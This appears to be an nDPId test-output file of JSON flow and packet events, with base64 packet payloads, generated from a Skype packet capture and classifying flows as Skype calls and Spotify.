+00482{"flow_id":99,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":768,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969668,"pkt_ts_usec":111110,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"0NQSxnP1PBXCt3IOCABFAABd2YpAAEAGf2fAqAEinTeCp8N9Abt3wuIecQen4YAYECwnMAAAAQEICj4i72VOq7eNha\/REPk0JK+jyXRvQAnIdnOzfqInh3kQnO9afU+VElpw2DvgAIcm25w="} +00789{"flow_id":22,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":769,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969668,"pkt_ts_usec":258653,"pkt_caplen":333,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":333,"pkt_l4_len":299,"pkt":"AQBef\/\/6oPPBbTu2CABFAAE\/ApQAAAQRAXrAqAD+7\/\/\/+gQBB2wBK+71Tk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTEwMA0KTE9DQVRJT046IGh0dHA6Ly8xOTIuMTY4LjAuMjU0OjE5MDAvaWdkLnhtbA0KTlQ6IHVwbnA6cm9vdGRldmljZQ0KTlRTOiBzc2RwOmFsaXZlDQpTRVJWRVI6IFRQLUxJTksgV2lyZWxlc3MgTiBOYW5vIFJvdXRlciBXUjcwMk4sIFVQblAvMS4wDQpVU046IHV1aWQ6dXBucC1JbnRlcm5ldEdhdGV3YXlEZXZpY2UtMTkyMTY4MDI1NDc4OTAwMDAxOjp1cG5wOnJvb3RkZXZpY2UNCg0K"} +00812{"flow_id":22,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":770,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969668,"pkt_ts_usec":274396,"pkt_caplen":351,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":351,"pkt_l4_len":317,"pkt":"AQBef\/\/6oPPBbTu2CABFAAFRApUAAAQRAWfAqAD+7\/\/\/+gQBB2wBPQhzTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTEwMA0KTE9DQVRJT046IGh0dHA6Ly8xOTIuMTY4LjAuMjU0OjE5MDAvaWdkLnhtbA0KTlQ6IHV1aWQ6dXBucC1JbnRlcm5ldEdhdGV3YXlEZXZpY2UtMTkyMTY4MDI1NDc4OTAwMDAxDQpOVFM6IHNzZHA6YWxpdmUNClNFUlZFUjogVFAtTElOSyBXaXJlbGVzcyBOIE5hbm8gUm91dGVyIFdSNzAyTiwgVVBuUC8xLjANClVTTjogdXVpZDp1cG5wLUludGVybmV0R2F0ZXdheURldmljZS0xOTIxNjgwMjU0Nzg5MDAwMDENCg0K"} +00884{"flow_id":22,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":771,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969668,"pkt_ts_usec":293147,"pkt_caplen":405,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":405,"pkt_l4_len":371,"pkt":"AQBef\/\/6oPPBbTu2CABFAAGHApYAAAQRATDAqAD+7\/\/\/+gQBB2wBc+ePTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTEwMA0KTE9DQVRJT046IGh0dHA6Ly8xOTIuMTY4LjAuMjU0OjE5MDAvaWdkLnhtbA0KTlQ6IHVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpJbnRlcm5ldEdhdGV3YXlEZXZpY2U6MQ0KTlRTOiBzc2RwOmFsaXZlDQpTRVJWRVI6IFRQLUxJTksgV2lyZWxlc3MgTiBOYW5vIFJvdXRlciBXUjcwMk4sIFVQblAvMS4wDQpVU046IHV1aWQ6dXBucC1JbnRlcm5ldEdhdGV3YXlEZXZpY2UtMTkyMTY4MDI1NDc4OTAwMDAxOjp1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCg0K"} +00877{"flow_id":22,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":772,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969668,"pkt_ts_usec":307845,"pkt_caplen":397,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":397,"pkt_l4_len":363,"pkt":"AQBef\/\/6oPPBbTu2CABFAAF\/ApcAAAQRATfAqAD+7\/\/\/+gQBB2wBawDYTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTEwMA0KTE9DQVRJT046IGh0dHA6Ly8xOTIuMTY4LjAuMjU0OjE5MDAvaWdkLnhtbA0KTlQ6IHVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6TGF5ZXIzRm9yd2FyZGluZzoxDQpOVFM6IHNzZHA6YWxpdmUNClNFUlZFUjogVFAtTElOSyBXaXJlbGVzcyBOIE5hbm8gUm91dGVyIFdSNzAyTiwgVVBuUC8xLjANClVTTjogdXVpZDp1cG5wLUludGVybmV0R2F0ZXdheURldmljZS0xOTIxNjgwMjU0Nzg5MDAwMDE6OnVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6TGF5ZXIzRm9yd2FyZGluZzoxDQoNCg=="} +00438{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":773,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969668,"pkt_ts_usec":369272,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA2iIAAEARHRfAqAEiwKgBAcALADUALIa2zTYBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAAQAB"} +00438{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":774,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969668,"pkt_ts_usec":369273,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA6jAAAEARDQnAqAEiwKgBAeA+ADUALBXIHdcBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAHAAB"} +00876{"flow_id":22,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":775,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969668,"pkt_ts_usec":391015,"pkt_caplen":399,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":399,"pkt_l4_len":365,"pkt":"AQBef\/\/6oPPBbTu2CABFAAGBApwAAAQRATDAqAD+7\/\/\/+gQBB2wBbXKDTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTEwMA0KTE9DQVRJT046IGh0dHA6Ly8xOTIuMTY4LjAuMjU0OjE5MDAvaWdkLnhtbA0KTlQ6IHVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpXQU5Db25uZWN0aW9uRGV2aWNlOjENCk5UUzogc3NkcDphbGl2ZQ0KU0VSVkVSOiBUUC1MSU5LIFdpcmVsZXNzIE4gTmFubyBSb3V0ZXIgV1I3MDJOLCBVUG5QLzEuMA0KVVNOOiB1dWlkOnVwbnAtV0FOQ29ubmVjdGlvbkRldmljZS0xOTIxNjgwMjU0Nzg5MDAwMDE6OnVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpXQU5Db25uZWN0aW9uRGV2aWNlOjENCg0K"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":776,"source":"skype.pcap","alias":"nDPId-test","flow_id":119,"flow_packet_id":1,"flow_first_seen":1431969668393,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.155","src_port":13021,"dst_port":40004,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":119,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":776,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969668,"pkt_ts_usec":393491,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAuzMAAEARQDfAqAEib91NmzLdnEQALFAWnCgCEvePRGLJGr6Sre+ODORDkQCce9O5GJ9D557YPiPEFuAx"} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":776,"source":"skype.pcap","alias":"nDPId-test","flow_id":119,"flow_packet_id":1,"flow_first_seen":1431969668393,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.155","src_port":13021,"dst_port":40004,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":777,"source":"skype.pcap","alias":"nDPId-test","flow_id":120,"flow_packet_id":1,"flow_first_seen":1431969668393,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.143","src_port":13021,"dst_port":40017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":120,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":777,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969668,"pkt_ts_usec":393551,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/2XIAAEARv6rAqAEinTeCjzLdnFEAK32DnCoCUchv5aDS7Qgi\/2x8dTOyi7BA\/ZCxsEvRrtCtnVEnyoU="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":777,"source":"skype.pcap","alias":"nDPId-test","flow_id":120,"flow_packet_id":1,"flow_first_seen":1431969668393,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.143","src_port":13021,"dst_port":40017,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00535{"flow_id":19,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":779,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969668,"pkt_ts_usec":477732,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"PBXCt3IO0NQSxnP1CABFAACDHPJAADcGRGBBN98hwKgBIgG7w24uYYHrXFDkhIAYAB1z8wAAAQEICk2XtLA+IpIHFgMBAEoCAABGAwFAG+SGAq3gKeF3dOVEucmctDExXgLdd50VSpYJul2ocCAcoOT2TGNRri+OTuHmdmoKiNXYxVyumMXkgfIqab+QWAAFAA=="} +00408{"flow_id":19,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":780,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969668,"pkt_ts_usec":477830,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAomF9AAEAGwE3AqAEiQTffIcNuAbtcUOSEAAAAAFAEAADHvgAA"} +00442{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":781,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969668,"pkt_ts_usec":492204,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABDB9wAAEAR71rAqAEiwKgBAdmfADUAL7TEHKMBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAAQAB"} +00442{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":782,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969668,"pkt_ts_usec":492347,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABDDGwAAEAR6srAqAEiwKgBAc5yADUAL8ad+vYBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAHAAB"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":783,"source":"skype.pcap","alias":"nDPId-test","flow_id":121,"flow_packet_id":1,"flow_first_seen":1431969668503,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00461{"flow_id":121,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":783,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969668,"pkt_ts_usec":503619,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"\/\/\/\/\/\/\/\/xCwDBkn+CABFAABItzYAAEARPsPAqAFcwKgB\/+EV4RUANFGUU3BvdFVkcDB5FYpWEIvHwwABAARIlcIDhMAbG8d8ZX7RWey9o+VAQ2IEJyw="} +00509{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":783,"source":"skype.pcap","alias":"nDPId-test","flow_id":121,"flow_packet_id":1,"flow_first_seen":1431969668503,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","ndpi": {"proto":"Spotify","breed":"Acceptable","category":"Music"}} +00491{"flow_id":63,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":784,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969668,"pkt_ts_usec":552184,"pkt_caplen":112,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":112,"pkt_l4_len":78,"pkt":"0NQSxnP1PBXCt3IOCABFAABi1zFAAEAG0DXAqAEinTg0LMN0AbuAxvPD3A2f1IAYECzkpQAAAQEICj4i8R1MZDFLCID\/ssOnhCQbPdgraKv5X6X6LEBl4VvsbMI2yvwLdbH5FbeEibgiwFjV2Yetww=="} +00474{"flow_id":112,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":785,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969668,"pkt_ts_usec":613246,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"0NQSxnP1PBXCt3IOCABFAABXsndAAEAGppHAqAEinTeClsOAAbtI+poyuVVQX4AYECxltAAAAQEICj4i8VpOt6FDtE+JMLnPtxIKxglVlecVLUAud036XUzec3hM4iMJiZPeQZY="} +00438{"flow_id":101,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":786,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969668,"pkt_ts_usec":634104,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8SbFAAEAGD3PAqAEinTeClsN+nEtADbo2Q3FEmYAYECjR6QAAAQEICj4i8W5Ot5\/KwFGYWtZyg7g="} +00434{"flow_id":6,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":787,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969668,"pkt_ts_usec":794403,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7oz0AAEARVAHAqAEiwKgBAf+SADUAJwCOlegBAAABAAAAAAAAA2FwaQVza3lwZQNjb20AABwAAQ=="} +00434{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":788,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969668,"pkt_ts_usec":794481,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7PUEAAEARuf3AqAEiwKgBAdR8ADUAJ+nL8sABAAABAAAAAAAAA2FwaQVza3lwZQNjb20AAAEAAQ=="} +00439{"flow_id":10,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":789,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969668,"pkt_ts_usec":794544,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+HhQAAEAR2SfAqAEiwKgBAcKBADUAKu5ghe0BAAABAAAAAAAABGRzbjQBZAVza3lwZQNuZXQAAAEAAQ=="} +00439{"flow_id":11,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":790,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969668,"pkt_ts_usec":794605,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+CR4AAEAR7h3AqAEiwKgBAf4VADUAKsDYd8YBAAABAAAAAAAABGRzbjQBZAVza3lwZQNuZXQAABwAAQ=="} +00456{"flow_id":14,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":791,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969668,"pkt_ts_usec":794693,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABK8GcAAEARBsjAqAEiwKgBAd\/IADUANro4UU4BAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDYBcgVza3lwZQNuZXQAABwAAQ=="} +00456{"flow_id":13,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":792,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969668,"pkt_ts_usec":794885,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKwQ4AAEARNiHAqAEiwKgBAcNGADUANrH\/diQBAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDYBcgVza3lwZQNuZXQAAAEAAQ=="} +00437{"flow_id":51,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":793,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969668,"pkt_ts_usec":813342,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8gzNAAEAG1frAqAEinTeCjMNynGH\/hzYDZw7DuIAYECm4IQAAAQEICj4i8iFOvfULJJFwCjegzGQ="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":794,"source":"skype.pcap","alias":"nDPId-test","flow_id":122,"flow_packet_id":1,"flow_first_seen":1431969669039,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.166","src_port":50051,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":122,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":794,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969669,"pkt_ts_usec":39715,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAm5lAAEAGvXbAqAEinTeCpsODAbsS3IR+AAAAALAC\/\/\/HlQAAAgQFtAEDAwUBAQgKPiLzAwAAAAAEAgAA"} +00436{"flow_id":122,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":795,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969669,"pkt_ts_usec":172605,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGYhSdN4KmwKgBIgG7w4O9Vc6mEtyEf6ASOJBZ3QAAAgQFrAQCCApOrGt3PiLzAwEDAwk="} +00425{"flow_id":122,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":796,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969669,"pkt_ts_usec":172726,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0jk9AAEAGyszAqAEinTeCpsODAbsS3IR\/vVXOp4AQECywggAAAQEICj4i84hOrGt3"} +00525{"flow_id":122,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":797,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969669,"pkt_ts_usec":172849,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8hOFAAEAG0\/LAqAEinTeCpsODAbsS3IR\/vVXOp4AYECxJwgAAAQEICj4i84hOrGt3gEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIAUdSKrYFFO52ztOuM4Seaf"} +00436{"flow_id":87,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":798,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969669,"pkt_ts_usec":233522,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA89idAAEAGYuvAqAEinTeCp8N8nF+W1hdKgdGcA4AYECk1LwAAAQEICj4i88ROq7X7zDi7upn8y1s="} +00432{"flow_id":16,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":800,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969669,"pkt_ts_usec":300239,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6C1AAAEAR6+\/AqAEiwKgBAcLvADUAJlJY1+QBAAABAAAAAAAAAnVpBXNreXBlA2NvbQAAAQAB"} +00424{"flow_id":122,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":801,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969669,"pkt_ts_usec":302321,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0pT9AADcGvNydN4KmwKgBIgG7w4O9Vc6nEtyEx4AQAB3AKAAAAQEICk6sa5g+IvOI"} +00466{"flow_id":122,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":802,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969669,"pkt_ts_usec":302385,"pkt_caplen":96,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":96,"pkt_l4_len":62,"pkt":"0NQSxnP1PBXCt3IOCABFAABSXh5AAEAG+t\/AqAEinTeCpsODAbsS3ITHvVXOp4AYECx5qgAAAQEICj4i9AhOrGuYTUkltcFyUDx1UKDVsGVbE\/Ct+3YM+MpJT8qq59Fj"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":803,"source":"skype.pcap","alias":"nDPId-test","flow_id":123,"flow_packet_id":1,"flow_first_seen":1431969669408,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.168","src_port":13021,"dst_port":40006,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":123,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":803,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969669,"pkt_ts_usec":408592,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA749YAAEARS6HAqAEi1cezqDLdnEYAJ90VnCwCpNRKktf4Qi\/bdq+yPcZvRHBM0A5YqXcB1iPXfA=="} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":803,"source":"skype.pcap","alias":"nDPId-test","flow_id":123,"flow_packet_id":1,"flow_first_seen":1431969669408,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.168","src_port":13021,"dst_port":40006,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} 